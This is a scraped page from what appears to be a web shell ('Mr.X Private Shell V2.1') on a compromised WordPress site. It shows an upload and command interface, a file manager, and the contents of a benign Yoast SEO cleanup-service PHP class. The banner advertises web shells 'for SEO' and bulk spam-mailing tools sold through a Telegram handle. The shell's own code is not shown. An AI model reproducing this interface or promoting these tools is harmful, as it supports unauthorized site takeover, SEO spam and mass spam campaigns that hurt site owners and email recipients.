__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Yoast\WP\SEO\User_Meta\Application;

use Yoast\WP\SEO\User_Meta\Infrastructure\Cleanup_Repository;

/**
 * Service with all usermeta cleanup queries.
 */
class Cleanup_Service {

	/**
	 * The additional contactmethods collector.
	 *
	 * @var Additional_Contactmethods_Collector $additional_contactmethods_collector The additional contactmethods collector.
	 */
	private $additional_contactmethods_collector;

	/**
	 * The custom meta collector.
	 *
	 * @var Custom_Meta_Collector $custom_meta_collector The custom meta collector.
	 */
	private $custom_meta_collector;

	/**
	 * The cleanup repository.
	 *
	 * @var Cleanup_Repository $custom_meta_collector The custom meta repository.
	 */
	private $cleanup_repository;

	/**
	 * The constructor.
	 *
	 * @param Additional_Contactmethods_Collector $additional_contactmethods_collector The additional contactmethods collector.
	 * @param Custom_Meta_Collector               $custom_meta_collector               The custom meta collector.
	 * @param Cleanup_Repository                  $cleanup_repository                  The cleanup repository.
	 */
	public function __construct(
		Additional_Contactmethods_Collector $additional_contactmethods_collector,
		Custom_Meta_Collector $custom_meta_collector,
		Cleanup_Repository $cleanup_repository
	) {
		$this->additional_contactmethods_collector = $additional_contactmethods_collector;
		$this->custom_meta_collector               = $custom_meta_collector;
		$this->cleanup_repository                  = $cleanup_repository;
	}

	/**
	 * Deletes selected empty usermeta.
	 *
	 * @param int $limit The limit we'll apply to the cleanups.
	 *
	 * @return int|bool The number of rows that was deleted or false if the query failed.
	 */
	public function cleanup_selected_empty_usermeta( int $limit ) {
		$meta_to_check = $this->get_meta_to_check();

		return $this->cleanup_repository->delete_empty_usermeta_query( $meta_to_check, $limit );
	}

	/**
	 * Gets which meta are going to be checked for emptiness.
	 *
	 * @return array<string> The meta to be checked for emptiness.
	 */
	private function get_meta_to_check() {
		$additional_contactmethods = $this->additional_contactmethods_collector->get_additional_contactmethods_keys();
		$custom_meta               = $this->custom_meta_collector->get_non_empty_custom_meta();

		return \array_merge( $additional_contactmethods, $custom_meta );
	}
}

Filemanager

Name Type Size Permission Actions
additional-contactmethods-collector.php File 2.36 KB 0775
cleanup-service.php File 2.35 KB 0775
custom-meta-collector.php File 1.57 KB 0775
Filemanager